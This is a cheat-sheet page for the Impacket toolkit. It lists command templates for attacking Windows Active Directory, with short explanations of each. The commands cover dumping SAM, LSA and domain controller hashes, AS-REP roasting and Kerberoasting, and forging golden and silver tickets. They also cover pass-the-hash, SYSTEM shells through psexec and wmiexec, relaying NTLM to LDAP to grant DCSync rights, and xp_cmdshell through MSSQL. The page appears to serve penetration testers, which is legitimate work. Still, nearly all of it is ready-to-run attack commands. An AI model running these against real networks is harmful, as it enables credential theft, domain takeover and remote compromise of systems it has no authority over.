Skip to content

Impacket

13 commands

A collection of Python classes and ready-made scripts for Windows network protocols (SMB, MS-RPC, Kerberos, LDAP) — the backbone of modern Active Directory exploitation.

  • Active Directory
  • Kerberos
  • SMB
  • Python

Install Impacket

sudo apt install python3-impacket

Credentials & hashes4

secretsdump.py <domain>/<user>:<pass>@<target>

Dumps SAM, LSA secrets and cached domain credentials from a host over SMB.

Link
secretsdump.py -just-dc <domain>/<user>@<dc>

DCSync: pulls every domain hash straight from a domain controller (needs replication rights).

Link
secretsdump.py -just-dc-ntlm <domain>/<user>@<dc>

Only NTLM hashes from the DC, skipping Kerberos keys.

Link
getTGT.py <domain>/<user> -hashes :<nt>

Requests a Kerberos TGT with a password or NT hash and saves a .ccache for pass-the-ticket.

Link

Kerberos attacks3

GetNPUsers.py <domain>/ -usersfile <file> -no-pass -dc-ip <ip>

AS-REP roasting: pulls crackable hashes for accounts that do not require Kerberos pre-authentication.

Link
GetUserSPNs.py <domain>/<user>:<pass> -dc-ip <ip> -request

Kerberoasting: requests service tickets for SPN accounts and outputs hashes to crack offline.

Link
ticketer.py -nthash <nt> -domain-sid <sid> -domain <domain> <user>

Forges a golden or silver ticket from the krbtgt or a service account hash.

Link

Remote execution3

psexec.py <domain>/<user>:<pass>@<target>

A SYSTEM shell via a temporary Windows service over SMB.

Link
wmiexec.py <domain>/<user>:<pass>@<target>

A semi-interactive shell over WMI, quieter than psexec.

Link
psexec.py -hashes :<nt> <domain>/<user>@<target>

Pass-the-hash: authenticates with an NT hash instead of a password.

Link

Relaying & databases3

ntlmrelayx.py -tf <targets> -smb2support

Relays captured NTLM authentication to other hosts; pair with Responder in analyze mode.

Link
ntlmrelayx.py -t ldap://<dc> --escalate-user <user>

Relays to LDAP to grant a controlled user DCSync rights.

Link
mssqlclient.py <domain>/<user>:<pass>@<target>

Connects to MSSQL for enumeration and xp_cmdshell execution.

Link